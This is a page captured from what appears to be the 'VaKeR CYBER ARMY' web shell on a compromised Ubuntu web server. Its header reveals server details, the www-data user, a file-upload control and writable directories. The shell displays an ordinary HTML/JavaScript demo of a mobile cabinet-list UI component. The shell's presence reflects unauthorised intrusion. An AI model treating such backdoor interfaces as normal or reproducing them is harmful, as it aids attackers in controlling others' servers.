VaKeR CYBER ARMY
Logo of a company Server : Apache/2.4.41 (Ubuntu)
System : Linux absol.cf 5.4.0-198-generic #218-Ubuntu SMP Fri Sep 27 20:18:53 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Directory :  /var/www/html/libs/absol-mobile/demo/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/libs/absol-mobile/demo/mcabinetlist.html
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>CabinetList</title>
    <meta name='viewport' content='width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=0'/>

    <link rel="stylesheet" href="https://fonts.googleapis.com/icon?family=Material+Icons">
    <script src="../dist/absol-mobile.js?"></script>
    <script>
        var $ = absol.$;
        var _ = absol._;
    </script>
    <style>
        html, body {
            overflow-x: hidden;
            width: 100%;
            height: 100%;
            padding: 0;
            margin: 0;
        }

        html {
            overflow-y: hidden;
        }

        body {
            overflow-y: auto;
        }
    </style>
</head>
<body>
<script>
    (function () {
        if (!absol.BrowserDetector.isMobile) {
            alert("Hãy mở bằng chế độ mobile và tải lại");
            return;
        }


        var _ = absol._;
        var $ = absol.$;

        function render(o) {
            return _(o).addTo(document.body);
        }

        function makeQuickMenu() {
            return {
                props: {
                    extendClasses: 'cd-context-menu',
                    items: [
                        {
                            text: 'Trạng thái',
                            extendClasses: "bsc-quickmenu",
                            icon: {
                                tag: "i",
                                class: "material-icons",
                                child: { text: "info" }
                            },
                            cmd: 'status'
                        },
                        {
                            text: 'Di chuyển',
                            extendClasses: "bsc-quickmenu",
                            icon: {
                                tag: "i",
                                class: "material-icons",
                                child: { text: "open_with" }
                            },
                            cmd: 'move'
                        },
                        {
                            text: 'Sửa',
                            extendClasses: "bsc-quickmenu",
                            icon: {
                                tag: "i",
                                class: "material-icons",
                                child: { text: "mode_edit" }
                            },
                            cmd: 'edit'
                        },
                        {
                            text: 'Xóa',
                            extendClasses: "bsc-quickmenu red",
                            icon: {
                                tag: "i",
                                class: "material-icons",
                                child: { text: "delete" }
                            },
                            cmd: 'delete'
                        },
                        {
                            text: 'Lưu trữ',
                            extendClasses: "bsc-quickmenu",
                            icon: {
                                tag: "i",
                                class: "material-icons",
                                child: { text: "turned_in_not" }
                            },
                            cmd: 'store'
                        }
                    ]
                },
                onSelect: function (item) {
                    console.log(item)
                    // console.log('cmd: ', item.cmd);
                }
            }
        }


        var addBtn = render({
            tag: 'button',
            child: { text: 'addChild' },
            on: {
                click: function () {
                    var i = Math.random() * 1000 + 1000 >> 0;
                    var newItem = _({
                        tag: 'mcabinetitem',
                        class: 'am-flex-content',
                        child: [
                            {
                                style: { fontSize: '18px', flexGrow: 1 },
                                child: { text: ('item ' + i + ' ').repeat((Math.random() * 5 + 1) >> 0) }
                            }
                        ],
                        props: {
                            draggable: true,
                            somethingLikeId: i,
                            rightActions: [
                                { text: 'Xoá', otherPropertiesYouNeed: "Some data...", cmd: 'delete' },
                                { text: 'Sửa', otherPropertiesYouNeed: "Some data..." },
                            ],
                            quickmenuX: makeQuickMenu()
                        },
                        on: {
                            action: function (event) {
                                console.log(event.action)
                                if (event.action.cmd === 'delete') {
                                    this.selfRemove();
                                }
                                console.log(event.action);
                            },
                            click: function (event) {
                                absol.require('snackbar').show(this.somethingLikeId + '')
                            }
                        }
                    });
                    list.addChildBefore(newItem, list.getChildren()[6]);
                    newItem.scrollIntoView();
                }
            }
        });
        var searchInput = _('searchtextinput').addStyle('margin', '10px');

        var list = _({
            tag: 'mcabinetlist',
            style: {
                height: '80vh',
                overflowY: 'auto'
            },
            props: {
                draggable: true
            },
            on: {
                orderchange: function () {
                    var newIdOrder = this.getChildren().map(function (itemElt) {
                        return itemElt.somethingLikeId;
                    })
                    console.log(newIdOrder);
                }
            },
            child: Array(30).fill(null).map(function (u, i) {
                return {
                    tag: 'mcabinetitem',
                    class: 'am-flex-content',
                    props: {
                        content: [
                            {
                                style: { fontSize: '18px', flexGrow: 1 },
                                child: { text: 'item ' + i }
                            }
                        ],
                        draggable: i > 5,
                        somethingLikeId: i,
                        rightActions: [
                            { text: 'Xoá', otherPropertiesYouNeed: "Some data...", cmd: 'delete' },
                            { text: 'Sửa', otherPropertiesYouNeed: "Some data..." },
                        ],
                        quickmenuX: makeQuickMenu()
                    },
                    on: {
                        action: function (event) {
                            console.log(event.action)
                            if (event.action.cmd === 'delete') {
                                this.selfRemove();
                            }
                            console.log(event.action);
                        },
                        click: function (event) {
                            absol.require('snackbar').show(this.somethingLikeId + '')
                        }
                    }
                }
            })
        });
        document.body.appendChild(searchInput);
        document.body.appendChild(list);
        list.attachSearchInput(searchInput);
    })();

</script>
</body>
</html>

VaKeR 2022